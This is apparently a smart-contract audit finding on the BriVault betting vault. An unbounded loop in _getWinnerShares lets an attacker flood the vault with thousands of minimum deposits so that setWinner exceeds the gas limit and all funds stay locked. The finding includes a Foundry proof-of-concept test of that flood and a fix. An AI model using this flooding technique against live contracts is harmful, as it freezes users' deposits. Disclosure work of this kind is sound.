Unbounded iteration in BriVault::_getWinnerShares enables denial-of-service on setWinner , potentially leading to permanent vault fund lockup
Description
-
At the end of an event, the contract owner calls the setWinner function to select the winning team. This function internally invokes _getWinnerShares, which iterates through the userSharesToCountry mapping to identify and process the shares of users who bet on the winning team.
-
However, the loop inside _getWinnerShares is unbounded, meaning its gas cost increases with the number of participants. As the user base grows, calling setWinner will eventually run out of gas and revert, making it impossible to finalize the event. Since setWinner must succeed before any withdrawals are enabled, this results in a permanent denial of service , effectively locking all user funds in the vault, including those of legitimate winners.
function _getWinnerShares() internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
Risk
Likelihood: HIGH
-
An attacker can easily create multiple addresses and deposit minimum amounts (0.0002 ether + 1.5% participation fee) for each address before the event starts, with no restriction on the number of participants.
-
The attack can be executed by anyone at any time before eventStartDate, making it trivially exploitable with basic scripting knowledge.
Impact: HIGH
-
All user funds are permanently locked in the vault with no recovery mechanism. The withdraw function requires the winner to be set (winnerSet modifier), which becomes impossible after the DoS attack.
-
Legitimate participants who deposited significant amounts lose their entire stake, as there is no emergency withdrawal function or alternative recovery path.
Proof of Concept
The PoC shows that by creating 5,600+ participants with minimum deposits, the _getWinnerShares() loop in setWinner() exceeds the block gas limit, preventing the winner from being declared and permanently locking all user funds.
function test_setWinner_DoS_outOfGas() public {
vm.prank(owner);
briVault.setCountry(countries);
uint256 numAttackAddresses = 5600;
for (uint256 i = 0; i < numAttackAddresses; i++) {
address attacker = address(uint160(i + 1000));
mockToken.mint(attacker, 1 ether);
vm.startPrank(attacker);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(0.001 ether, attacker);
briVault.joinEvent(0);
vm.stopPrank();
}
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
uint256 user1BalanceBefore = mockToken.balanceOf(user1);
uint256 user2BalanceBefore = mockToken.balanceOf(user2);
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
vm.expectRevert();
briVault.setWinner(10);
vm.stopPrank();
string memory winnerResult = briVault.getWinner();
assertEq(winnerResult, "", "Winner should not be set due to DoS");
vm.startPrank(user1);
vm.expectRevert(abi.encodeWithSignature("winnerNotSet()"));
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
vm.expectRevert(abi.encodeWithSignature("winnerNotSet()"));
briVault.withdraw();
vm.stopPrank();
assertEq(mockToken.balanceOf(user1), user1BalanceBefore, "User1 funds remain locked");
assertEq(mockToken.balanceOf(user2), user2BalanceBefore, "User2 funds remain locked");
assertGt(mockToken.balanceOf(address(briVault)), 0, "All funds permanently locked in vault");
}
Recommended Mitigation
The root cause is the unbounded loop in _getWinnerShares that iterates over all participants. Instead of calculating total winner shares after the event ends, track them incrementally as users join.
+ mapping(uint256 => uint256) public countryIdToTotalShares;
function joinEvent(uint256 countryId) public {
.
.
.
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
+ // Track total shares per country incrementally
+ countryIdToTotalShares[countryId] += participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
.
.
.
winner = teams[countryIndex];
_setWinner = true;
- _getWinnerShares();
+ totalWinnerShares = countryIdToTotalShares[countryIndex];
_setFinallizedVaultBalance();
emit WinnerSet(winner);
return winner;
}
- // Remove the vulnerable function entirely
- function _getWinnerShares() internal returns (uint256) {
- for (uint256 i = 0; i < usersAddress.length; ++i) {
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
- return totalWinnerShares;
- }